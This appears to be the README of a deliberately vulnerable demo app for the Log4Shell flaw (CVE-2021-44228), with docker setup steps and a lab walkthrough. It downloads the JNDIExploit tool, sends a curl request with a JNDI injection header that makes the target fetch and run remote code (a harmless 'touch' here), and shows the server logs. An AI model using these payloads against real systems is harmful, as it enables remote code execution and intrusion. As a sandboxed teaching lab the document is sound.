78 lines
2.7 KiB
Markdown
78 lines
2.7 KiB
Markdown
# Log4Shell sample vulnerable application (CVE-2021-44228)
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It uses Log4j 2.14.1 (through `spring-boot-starter-log4j2` 2.6.1) and the JDK 1.8.0_181.
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## Running the application
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Run it:
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```bash
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docker run --name vulnerable-app -p 8080:8080 ghcr.io/christophetd/log4shell-vulnerable-app
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```
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Build it yourself (you don't need any Java-related tooling):
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```bash
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docker build . -t vulnerable-app
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docker run -p 8080:8080 --name vulnerable-app vulnerable-app
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```
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## Exploitation steps
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*Note: This is highly inspired from the original [LunaSec advisory](https://www.lunasec.io/docs/blog/log4j-zero-day/). **Run at your own risk, preferably in a VM in a sandbox environment**.*
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**Update (Dec 13th)**: *The JNDIExploit repository has been removed from GitHub (presumably, [not by GitHub](https://twitter.com/_mph4/status/1470343429599211528)). Just append `web.archive.org` in front of the JNDIExploit download URL below to use the version cached by the Wayback Machine.*
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* Use [JNDIExploit](https://github.com/feihong-cs/JNDIExploit/releases/tag/v1.2) to spin up a malicious LDAP server
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```bash
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wget https://github.com/feihong-cs/JNDIExploit/releases/download/v1.2/JNDIExploit.v1.2.zip
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unzip JNDIExploit.v1.2.zip
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java -jar JNDIExploit-1.2-SNAPSHOT.jar -i your-private-ip -p 8888
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```
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* Then, trigger the exploit using:
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```bash
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# will execute 'touch /tmp/pwned'
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curl 127.0.0.1:8080 -H 'X-Api-Version: ${jndi:ldap://your-private-ip:1389/Basic/Command/Base64/dG91Y2ggL3RtcC9wd25lZAo=}'
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```
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* Notice the output of JNDIExploit, showing it has sent a malicious LDAP response and served the second-stage payload:
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```
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[+] LDAP Server Start Listening on 1389...
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[+] HTTP Server Start Listening on 8888...
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[+] Received LDAP Query: Basic/Command/Base64/dG91Y2ggL3RtcC9wd25lZAo
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[+] Paylaod: command
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[+] Command: touch /tmp/pwned
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[+] Sending LDAP ResourceRef result for Basic/Command/Base64/dG91Y2ggL3RtcC9wd25lZAo with basic remote reference payload
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[+] Send LDAP reference result for Basic/Command/Base64/dG91Y2ggL3RtcC9wd25lZAo redirecting to http://192.168.1.143:8888/Exploitjkk87OnvOH.class
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[+] New HTTP Request From /192.168.1.143:50119 /Exploitjkk87OnvOH.class
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[+] Receive ClassRequest: Exploitjkk87OnvOH.class
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[+] Response Code: 200
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```
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* To confirm that the code execution was successful, notice that the file `/tmp/pwned.txt` was created in the container running the vulnerable application:
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```
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$ docker exec vulnerable-app ls /tmp
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...
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pwned
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...
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```
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## Reference
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https://www.lunasec.io/docs/blog/log4j-zero-day/
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https://mbechler.github.io/2021/12/10/PSA_Log4Shell_JNDI_Injection/
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## Contributors
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[@christophetd](https://twitter.com/christophetd)
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[@rayhan0x01](https://twitter.com/rayhan0x01)
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